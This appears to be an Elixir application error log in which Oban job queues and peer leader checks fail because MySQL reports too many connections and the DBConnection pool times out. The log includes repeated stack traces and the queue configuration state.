[Sat Sep  5 22:32:42.427000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:32:47.183000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:32:47.184000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:47.893000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:48.498000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:49.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:49.266000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:50.573000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:51.965000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:52.588000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:52.636000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:32:55.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:02.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:07.258000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:10.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:11.547000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:12.016000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:12.219000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:15.697000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:17.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:18.906000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:20.216000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:33:22.059000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:25.217000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:33:29.546000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:33:29.885000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:33:29.887000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:30.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:31.194000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:32.662000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:32.849000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:33.088000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:33.252000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:35.429000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:36.148000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:36.379000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:37.130000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:39.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:40.966000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:43.215000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:46.519000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:50.164000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:52.404000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:54.982000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:55.155000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:58.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:33:59.878000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:01.446000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:03.918000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:34:04.549000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:34:05.397000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:34:06.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:08.919000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:34:09.895000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:09.964000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:10.960000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:11.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:11.784000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:13.437000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:34:13.440000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:15.516000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:15.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:15.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:18.541000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:20.805000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:21.139000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:34:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-03 05:42:42.461609Z], limit: 5, uuid: "39cd2a5b-a060-4e27-95bf-8ad5ab8a35bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:05.587351Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.231320>, refresh_timer: #Reference<0.2525715032.1099169794.231250>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:34:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-03 05:42:31.242693Z], limit: 5, uuid: "c8cb1bcb-5242-4d36-a6a0-0576305d25d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:33:40.619382Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.231319>, refresh_timer: #Reference<0.2525715032.1099169794.228123>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:34:21.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-03 05:42:42.460850Z], limit: 3, uuid: "c618c0d2-d02a-4e0a-83ed-79c0a93c5932", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:34:00.085507Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.231322>, refresh_timer: #Reference<0.2525715032.1099169794.231138>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:34:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1075ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
